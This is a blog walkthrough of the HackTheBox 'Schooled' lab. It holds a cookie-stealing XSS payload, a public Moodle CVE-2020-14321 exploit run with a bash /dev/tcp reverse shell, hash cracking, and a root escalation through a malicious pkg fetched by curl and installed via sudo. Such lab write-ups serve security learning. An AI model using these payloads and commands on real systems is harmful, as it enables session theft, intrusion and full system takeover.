HackTheBox — Schooled

6 min readSep 11, 2021


As always, we start with nmap to discover open ports/services.

Nmap Scan

nmap -sC -sV -oA schooled

Nmap scan report for schooled.htb (
Host is up (0.14s latency).
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq,TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000

There are 3 open ports, ssh on 22, http on 80, and port 33060 (mysql?). Lets start enumerating http port.

HTTP Enumeration

Going to we only see a static page.

But looking at the bottom of the page there is schooled.htb.

Lets add it to /etc/hosts and visit http://schooled.htb, nothing changed. Now lets run subdomain bruteforcer to discover hidden subdomains, i like using gobuster on hackthebox. gobuster vhost -u http://schooled.htb -w <wordlist> -t 100 Found.schooled.htb lets also add it to /etc/hosts and visit it.

It is built with moodle which is an open source learning management system (LMS), Maybe it has a critical vulnerability so lets try to enumerate its version.

From its github repo, i found upgrade.txt file that contains the version (3.9).

And by googling the version number i found this exploit https://github.com/lanzt/CVE-2020-14321 .

Python script to exploit CVE-2020–14321 — Moodle 3.9 — Course enrollments allowed privilege escalation from teacher role into manager role to RCE.

As the exploit said, i have to be a teacher to use this exploit, so lets see how we can get a teacher account. But first lets create a student account and then try to escalate our privileges.

I can only enrol in one course (Mathematics) so lets enrol it.

After enrolment i got redirect to the course content, there’s Announccements link.

Checking the Reminder for joining students Announcement, there is a hint from the creator of the box.

Escalating Privileges To Teacher

We need to set our MoodleNet profile and the teacher will check our profile. The first thing came to my mine is Injecting XSS payload in this input to steal the cookies of the teacher when he views my profile. <img src=x onerror=this.src=''+document.cookie;>

When i saved the chages i got a hit on my netcat listener contains the MoodleSession of the teacher.

Now lets replace our cookie with the teacher’s cookie (You can use firefox developer’s tools).

Refresh the page, and we are now the teacher! now we can use the exploit.

Initial Foothold

Please understand how the exploit works before running the script.

Here’s the repo of the CVE by the security researcher who discovered it https://github.com/HoangKien1020/CVE-2020-14321

When i run the exploit it executes whoami successfully as www user.

Lets get a reverse shell by adding -c COMMAND. And we are in the box as www user! python3 exploit.py http://moodle.schooled.htb/moodle/ --cookie 2hlkpkbe850s3c6k2r1ukrdftb -c 'bash -c "bash -i >& /dev/tcp/ 0>&1"'

Lateral Movement

I found mysql credentials inside config.php in the moodle directory.


And using find command i found mysql client path.

Now lets connect to mysql using these credentials but we have to do it in one line because we don’t have a full interactive shell.

Lets save the admin hash to a file and run hashcat (or john) on it. hashcat -m 3200 hash.txt rockyou.txt

It got cracked successfully and the password is !QAZ2wsx. Now lets try SSHing to both users with this password.

steve failed to login, but jamie successfully logged in


Getting root

Using sudo -l, we can run /usr/sbin/pkg update and /usr/sbin/pkg install as root.

The first thing i try is going to GTFOBins.io and search the file name. We can get root shell by doing these commands on our machine and then uploading the file to the victim machine.

On Attacker Machine

sudo gem install fpm
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
python3 -m http.server

On Victim Machine

/usr/local/bin/curl http://<attacker-ip>:8000/x-1.0.txz -o x-1.0.txz sudo pkg install -y --no-repo-update ./x-1.0.txz

As you can see we executed id as root. Now lets replace it with a reverse shell.

On Attacker Machine

TF=$(mktemp -d)
echo 'bash -c "bash -i >& /dev/tcp/ 0>&1"' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF

DON’T forget to run a netcat listener nc -nvlp 1337

On Victim Machine

/usr/local/bin/curl http://<attacker-ip>:8000/x-1.0.txz -o x-1.0.txz sudo pkg install -y --no-repo-update ./x-1.0.txz

Finally we are root ! :”D

If you find it useful, kindly give me a respect

Linkedin | Github




I am a Penetration Testing Enthusiast with computer science background, also interested in CTFs and python scripting.